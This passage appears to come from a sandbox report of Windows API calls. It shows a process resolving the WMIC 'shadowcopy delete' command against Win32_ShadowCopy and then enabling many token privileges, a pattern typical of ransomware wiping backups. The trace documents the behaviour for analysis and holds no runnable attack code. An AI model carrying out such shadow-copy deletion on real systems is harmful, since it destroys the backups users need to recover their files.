(Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0042.337] lstrlenW (lpString="-") returned 1 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0042.337] lstrlenW (lpString="CLASS") returned 5 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0042.337] lstrlenW (lpString="PATH") returned 4 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0042.337] lstrlenW (lpString="CONTEXT") returned 7 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] malloc (_Size=0x16) returned 0x8deb88 [0042.337] lstrlenW (lpString="SHADOWCOPY") returned 10 [0042.337] GetCurrentThreadId () returned 0xa1c [0042.338] ??0CHString@@QAE@XZ () returned 0xefce4 [0042.338] malloc (_Size=0xc) returned 0x2472078 [0042.338] malloc (_Size=0xc) returned 0x24720a8 [0042.338] WbemLocator:IWbemLocator:ConnectServer (in: This=0x310828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x22c1e0 | out: ppNamespace=0x22c1e0*=0x31d00c) returned 0x0 [0046.098] free (_Block=0x24720a8) [0046.099] free (_Block=0x2472078) [0046.099] CoSetProxyBlanket (pProxy=0x31d00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0046.099] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.099] GetCurrentThreadId () returned 0xa1c [0046.099] ??0CHString@@QAE@XZ () returned 0xefc7c [0046.099] malloc (_Size=0xc) returned 0x2472078 [0046.099] malloc (_Size=0xc) returned 0x24720a8 [0046.099] malloc (_Size=0xc) returned 0x24720c0 [0046.099] malloc (_Size=0xc) returned 0x24720d8 [0046.099] SysStringLen (param_1="root\\cli") returned 0x8 [0046.099] SysStringLen (param_1="\\") returned 0x1 [0046.099] malloc (_Size=0xc) returned 0x24720f0 [0046.099] SysStringLen (param_1="root\\cli\\") returned 0x9 [0046.099] SysStringLen (param_1="ms_409") returned 0x6 [0046.100] free (_Block=0x24720d8) [0046.100] free (_Block=0x24720c0) [0046.100] free (_Block=0x24720a8) [0046.100] free (_Block=0x2472078) [0046.100] malloc (_Size=0xc) returned 0x2472078 [0046.100] WbemLocator:IWbemLocator:ConnectServer (in: This=0x310828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x22c1e4 | out: ppNamespace=0x22c1e4*=0x31d064) returned 0x0 [0046.152] free (_Block=0x2472078) [0046.152] free (_Block=0x24720f0) [0046.152] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.152] GetCurrentThreadId () returned 0xa1c [0046.152] ??0CHString@@QAE@XZ () returned 0xefce8 [0046.152] malloc (_Size=0xc) returned 0x24720f0 [0046.152] malloc (_Size=0xc) returned 0x2472078 [0046.152] malloc (_Size=0xc) returned 0x24720a8 [0046.152] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0046.152] malloc (_Size=0x3a) returned 0x8dfeb0 [0046.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1e1f7c, cbMultiByte=-1, lpWideCharStr=0x8dfeb0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0046.152] free (_Block=0x8dfeb0) [0046.152] malloc (_Size=0xc) returned 0x24720c0 [0046.152] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0046.152] SysStringLen (param_1="SHADOWCOPY") returned 0xa [0046.153] malloc (_Size=0xc) returned 0x24720d8 [0046.153] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='SHADOWCOPY") returned 0x26 [0046.153] SysStringLen (param_1="'") returned 0x1 [0046.153] free (_Block=0x24720c0) [0046.153] free (_Block=0x24720a8) [0046.153] free (_Block=0x2472078) [0046.153] free (_Block=0x24720f0) [0046.153] IWbemServices:GetObject (in: This=0x31d00c, strObjectPath="MSFT_CliAlias.FriendlyName='SHADOWCOPY'", lFlags=0, pCtx=0x0, ppObject=0xefce4*=0x0, ppCallResult=0x0 | out: ppObject=0xefce4*=0x329a18, ppCallResult=0x0) returned 0x0 [0046.168] malloc (_Size=0xc) returned 0x24720f0 [0046.168] IWbemClassObject:Get (in: This=0x329a18, wszName="Target", lFlags=0, pVal=0xefca4*(varType=0x0, wReserved1=0xe, wReserved2=0xe58c, wReserved3=0x21, varVal1=0xffffffff, varVal2=0x1ea03c), pType=0x0, plFlavor=0x0 | out: pVal=0xefca4*(varType=0x8, wReserved1=0xe, wReserved2=0xe58c, wReserved3=0x21, varVal1="Select * from Win32_ShadowCopy", varVal2=0x1ea03c), pType=0x0, plFlavor=0x0) returned 0x0 [0046.168] free (_Block=0x24720f0) [0046.168] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0046.168] malloc (_Size=0x3e) returned 0x8dfeb0 [0046.168] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0046.168] malloc (_Size=0xc) returned 0x24720f0 [0046.168] IWbemClassObject:Get (in: This=0x329a18, wszName="PWhere", lFlags=0, pVal=0xefca4*(varType=0x0, wReserved1=0xe, wReserved2=0xe58c, wReserved3=0x21, varVal1=0x674fec, varVal2=0x1ea03c), pType=0x0, plFlavor=0x0 | out: pVal=0xefca4*(varType=0x8, wReserved1=0xe, wReserved2=0xe58c, wReserved3=0x21, varVal1=" Where ID = '#'", varVal2=0x1ea03c), pType=0x0, plFlavor=0x0) returned 0x0 [0046.168] free (_Block=0x24720f0) [0046.168] lstrlenW (lpString=" Where ID = '#'") returned 15 [0046.168] malloc (_Size=0x20) returned 0x8dfef8 [0046.168] lstrlenW (lpString=" Where ID = '#'") returned 15 [0046.168] malloc (_Size=0xc) returned 0x24720f0 [0046.168] IWbemClassObject:Get (in: This=0x329a18, wszName="Connection", lFlags=0, pVal=0xefca4*(varType=0x0, wReserved1=0xe, wReserved2=0xe58c, wReserved3=0x21, varVal1=0x6a69d4, varVal2=0x1ea03c), pType=0x0, plFlavor=0x0 | out: pVal=0xefca4*(varType=0xd, wReserved1=0xe, wReserved2=0xe58c, wReserved3=0x21, varVal1=0x329dd8, varVal2=0x1ea03c), pType=0x0, plFlavor=0x0) returned 0x0 [0046.169] free (_Block=0x24720f0) [0046.169] IUnknown:QueryInterface (in: This=0x329dd8, riid=0x1e6b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0xefcdc | out: ppvObject=0xefcdc*=0x329dd8) returned 0x0 [0046.170] GetCurrentThreadId () returned 0xa1c [0046.170] ??0CHString@@QAE@XZ () returned 0xefc58 [0046.170] malloc (_Size=0xc) returned 0x24720f0 [0046.170] IWbemClassObject:Get (in: This=0x329dd8, wszName="Namespace", lFlags=0, pVal=0xefc28*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xefc28*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0046.170] free (_Block=0x24720f0) [0046.170] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0046.170] malloc (_Size=0x16) returned 0x8debc8 [0046.170] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0046.170] malloc (_Size=0xc) returned 0x24720f0 [0046.170] IWbemClassObject:Get (in: This=0x329dd8, wszName="Locale", lFlags=0, pVal=0xefc28*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x6b5884, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xefc28*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0046.170] free (_Block=0x24720f0) [0046.170] lstrlenW (lpString="ms_409") returned 6 [0046.170] malloc (_Size=0xe) returned 0x24720f0 [0046.170] lstrlenW (lpString="ms_409") returned 6 [0046.170] malloc (_Size=0xc) returned 0x2472078 [0046.170] IWbemClassObject:Get (in: This=0x329dd8, wszName="User", lFlags=0, pVal=0xefc28*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x6b5884, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xefc28*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x6b5884, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0046.170] free (_Block=0x2472078) [0046.170] malloc (_Size=0xc) returned 0x2472078 [0046.170] IWbemClassObject:Get (in: This=0x329dd8, wszName="Password", lFlags=0, pVal=0xefc28*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x6b5884, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xefc28*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x6b5884, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0046.170] free (_Block=0x2472078) [0046.170] malloc (_Size=0xc) returned 0x2472078 [0046.170] IWbemClassObject:Get (in: This=0x329dd8, wszName="Server", lFlags=0, pVal=0xefc28*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x6b5884, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xefc28*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0046.170] free (_Block=0x2472078) [0046.170] lstrlenW (lpString=".") returned 1 [0046.171] malloc (_Size=0x4) returned 0x8dff20 [0046.171] lstrlenW (lpString=".") returned 1 [0046.171] malloc (_Size=0xc) returned 0x2472078 [0046.171] IWbemClassObject:Get (in: This=0x329dd8, wszName="Authority", lFlags=0, pVal=0xefc28*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x6b5884, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xefc28*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0x247, varVal1=0x6b5884, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0046.171] free (_Block=0x2472078) [0046.171] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.171] IUnknown:Release (This=0x329dd8) returned 0x1 [0046.171] GetCurrentThreadId () returned 0xa1c [0046.171] ??0CHString@@QAE@XZ () returned 0xefc50 [0046.171] malloc (_Size=0xc) returned 0x2472078 [0046.171] IWbemClassObject:Get (in: This=0x329a18, wszName="__RELPATH", lFlags=0, pVal=0xefc30*(varType=0x0, wReserved1=0x73df, wReserved2=0x0, wReserved3=0x31, varVal1=0x0, varVal2=0x329dd8), pType=0x0, plFlavor=0x0 | out: pVal=0xefc30*(varType=0x8, wReserved1=0x73df, wReserved2=0x0, wReserved3=0x31, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x329dd8), pType=0x0, plFlavor=0x0) returned 0x0 [0046.171] free (_Block=0x2472078) [0046.171] malloc (_Size=0xc) returned 0x2472078 [0046.171] GetCurrentThreadId () returned 0xa1c [0046.171] ??0CHString@@QAE@XZ () returned 0xefbe0 [0046.171] ??0CHString@@QAE@PBG@Z () returned 0xefbcc [0046.171] ??0CHString@@QAE@ABV0@@Z () returned 0xefb6c [0046.171] ?Empty@CHString@@QAEXXZ () returned 0x74290510 [0046.171] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x8dff30 [0046.171] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0046.171] ?Left@CHString@@QBE?AV1@H@Z () returned 0xefb4c [0046.171] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0xefb50 [0046.171] ??YCHString@@QAEABV0@ABV0@@Z () returned 0xefbcc [0046.171] ??1CHString@@QAE@XZ () returned 0x1 [0046.171] ??1CHString@@QAE@XZ () returned 0x1 [0046.172] ?Mid@CHString@@QBE?AV1@H@Z () returned 0xefb48 [0046.172] ??4CHString@@QAEABV0@ABV0@@Z () returned 0xefb6c [0046.172] ??1CHString@@QAE@XZ () returned 0x1 [0046.172] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x8dff98 [0046.172] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0046.172] ?Left@CHString@@QBE?AV1@H@Z () returned 0xefb4c [0046.172] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0xefb50 [0046.172] ??YCHString@@QAEABV0@ABV0@@Z () returned 0xefbcc [0046.172] ??1CHString@@QAE@XZ () returned 0x1 [0046.172] ??1CHString@@QAE@XZ () returned 0x1 [0046.172] ?Mid@CHString@@QBE?AV1@H@Z () returned 0xefb48 [0046.172] ??4CHString@@QAEABV0@ABV0@@Z () returned 0xefb6c [0046.172] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.172] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x74290504 [0046.172] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.172] malloc (_Size=0xc) returned 0x24720a8 [0046.172] malloc (_Size=0xc) returned 0x24720c0 [0046.172] malloc (_Size=0xc) returned 0x2472108 [0046.172] malloc (_Size=0xc) returned 0x2472120 [0046.172] malloc (_Size=0xc) returned 0x2472138 [0046.172] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0046.172] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0046.172] malloc (_Size=0xc) returned 0x2472150 [0046.172] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0046.172] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0046.172] malloc (_Size=0xc) returned 0x2472168 [0046.172] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0046.172] SysStringLen (param_1="\"") returned 0x1 [0046.173] free (_Block=0x2472150) [0046.173] free (_Block=0x2472138) [0046.173] free (_Block=0x2472120) [0046.173] free (_Block=0x2472108) [0046.173] free (_Block=0x24720c0) [0046.173] free (_Block=0x24720a8) [0046.173] IWbemServices:GetObject (in: This=0x31d064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0xefbe8*=0x0, ppCallResult=0x0 | out: ppObject=0xefbe8*=0x329e68, ppCallResult=0x0) returned 0x0 [0046.177] malloc (_Size=0xc) returned 0x24720a8 [0046.177] IWbemClassObject:Get (in: This=0x329e68, wszName="Text", lFlags=0, pVal=0xefb94*(varType=0x0, wReserved1=0x67, wReserved2=0x3954, wReserved3=0x67, varVal1=0x4e, varVal2=0x22c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0xefb94*(varType=0x2008, wReserved1=0x67, wReserved2=0x3954, wReserved3=0x67, varVal1=0x6984b8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x6a8f30, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x22c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0046.177] free (_Block=0x24720a8) [0046.177] SafeArrayGetLBound (in: psa=0x6984b8, nDim=0x1, plLbound=0xefbac | out: plLbound=0xefbac) returned 0x0 [0046.177] SafeArrayGetUBound (in: psa=0x6984b8, nDim=0x1, plUbound=0xefba8 | out: plUbound=0xefba8) returned 0x0 [0046.177] SafeArrayGetElement (in: psa=0x6984b8, rgIndices=0xefc0c, pv=0xefbd4 | out: pv=0xefbd4) returned 0x0 [0046.177] malloc (_Size=0xc) returned 0x24720a8 [0046.177] malloc (_Size=0xc) returned 0x24720c0 [0046.177] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0046.178] free (_Block=0x24720a8) [0046.178] IUnknown:Release (This=0x329e68) returned 0x0 [0046.178] free (_Block=0x2472168) [0046.178] ??1CHString@@QAE@XZ () returned 0x1 [0046.178] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.178] free (_Block=0x2472078) [0046.178] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.178] lstrlenW (lpString="Shadow copy management.") returned 23 [0046.178] malloc (_Size=0x30) returned 0x8dff30 [0046.178] lstrlenW (lpString="Shadow copy management.") returned 23 [0046.178] free (_Block=0x24720c0) [0046.178] IUnknown:Release (This=0x329a18) returned 0x0 [0046.178] free (_Block=0x24720d8) [0046.178] ??1CHString@@QAE@XZ () returned 0x74290504 [0046.178] lstrlenW (lpString="PATH") returned 4 [0046.178] lstrlenW (lpString="DELETE") returned 6 [0046.178] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0046.178] lstrlenW (lpString="WHERE") returned 5 [0046.178] lstrlenW (lpString="DELETE") returned 6 [0046.178] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0046.178] lstrlenW (lpString="(") returned 1 [0046.178] lstrlenW (lpString="DELETE") returned 6 [0046.178] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0046.178] lstrlenW (lpString="/") returned 1 [0046.178] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0046.179] lstrlenW (lpString="-") returned 1 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0046.179] malloc (_Size=0xc) returned 0x24720d8 [0046.179] lstrlenW (lpString="GET") returned 3 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0046.179] lstrlenW (lpString="LIST") returned 4 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0046.179] lstrlenW (lpString="SET") returned 3 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0046.179] lstrlenW (lpString="CREATE") returned 6 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0046.179] lstrlenW (lpString="CALL") returned 4 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0046.179] lstrlenW (lpString="ASSOC") returned 5 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0046.179] free (_Block=0x24720d8) [0046.179] lstrlenW (lpString="/") returned 1 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0046.179] lstrlenW (lpString="-") returned 1 [0046.179] lstrlenW (lpString="DELETE") returned 6 [0046.179] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] malloc (_Size=0xe) returned 0x24720d8 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] lstrlenW (lpString="GET") returned 3 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0046.180] lstrlenW (lpString="LIST") returned 4 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0046.180] lstrlenW (lpString="SET") returned 3 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0046.180] lstrlenW (lpString="CREATE") returned 6 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0046.180] lstrlenW (lpString="CALL") returned 4 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0046.180] lstrlenW (lpString="ASSOC") returned 5 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] lstrlenW (lpString="DELETE") returned 6 [0046.180] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0046.180] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0046.180] malloc (_Size=0x3e) returned 0x8dff68 [0046.180] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0046.180] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x1dc92d5a | out: _String="Select", _Context=0x1dc92d5a) returned="Select" [0046.180] malloc (_Size=0xc) returned 0x24720c0 [0046.180] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1dc92d5a | out: _String=0x0, _Context=0x1dc92d5a) returned="*" [0046.180] lstrlenW (lpString="FROM") returned 4 [0046.180] lstrlenW (lpString="*") returned 1 [0046.180] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0046.180] malloc (_Size=0xc) returned 0x2472078 [0046.181] free (_Block=0x24720c0) [0046.181] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1dc92d5a | out: _String=0x0, _Context=0x1dc92d5a) returned="from" [0046.181] lstrlenW (lpString="FROM") returned 4 [0046.181] lstrlenW (lpString="from") returned 4 [0046.181] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0046.181] malloc (_Size=0xc) returned 0x24720c0 [0046.181] free (_Block=0x2472078) [0046.181] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1dc92d5a | out: _String=0x0, _Context=0x1dc92d5a) returned="Win32_ShadowCopy" [0046.181] malloc (_Size=0xc) returned 0x2472078 [0046.181] free (_Block=0x24720c0) [0046.181] free (_Block=0x8dff68) [0046.181] free (_Block=0x2472078) [0046.181] lstrlenW (lpString="SET") returned 3 [0046.181] lstrlenW (lpString="DELETE") returned 6 [0046.181] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0046.181] lstrlenW (lpString="CREATE") returned 6 [0046.181] lstrlenW (lpString="DELETE") returned 6 [0046.181] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0046.181] free (_Block=0x8d3228) [0046.181] malloc (_Size=0x4) returned 0x8d3228 [0046.181] lstrlenW (lpString="GET") returned 3 [0046.181] lstrlenW (lpString="DELETE") returned 6 [0046.181] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0046.181] lstrlenW (lpString="LIST") returned 4 [0046.181] lstrlenW (lpString="DELETE") returned 6 [0046.181] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0046.181] lstrlenW (lpString="ASSOC") returned 5 [0046.181] lstrlenW (lpString="DELETE") returned 6 [0046.182] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0046.182] WbemLocator:IUnknown:AddRef (This=0x310828) returned 0x3 [0046.182] free (_Block=0x8d2860) [0046.182] lstrlenW (lpString="") returned 0 [0046.182] lstrlenW (lpString="XDUWTFONO") returned 9 [0046.182] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0046.182] lstrlenW (lpString="XDUWTFONO") returned 9 [0046.182] malloc (_Size=0x14) returned 0x8debe8 [0046.182] lstrlenW (lpString="XDUWTFONO") returned 9 [0046.182] GetCurrentThreadId () returned 0xa1c [0046.182] GetCurrentProcess () returned 0xffffffff [0046.182] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0xefd50 | out: TokenHandle=0xefd50*=0x290) returned 1 [0046.182] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xefd4c | out: TokenInformation=0x0, ReturnLength=0xefd4c) returned 0 [0046.182] malloc (_Size=0x118) returned 0x2472448 [0046.182] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x3, TokenInformation=0x2472448, TokenInformationLength=0x118, ReturnLength=0xefd4c | out: TokenInformation=0x2472448, ReturnLength=0xefd4c) returned 1 [0046.182] AdjustTokenPrivileges (in: TokenHandle=0x290, DisableAllPrivileges=0, NewState=0x2472448*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), 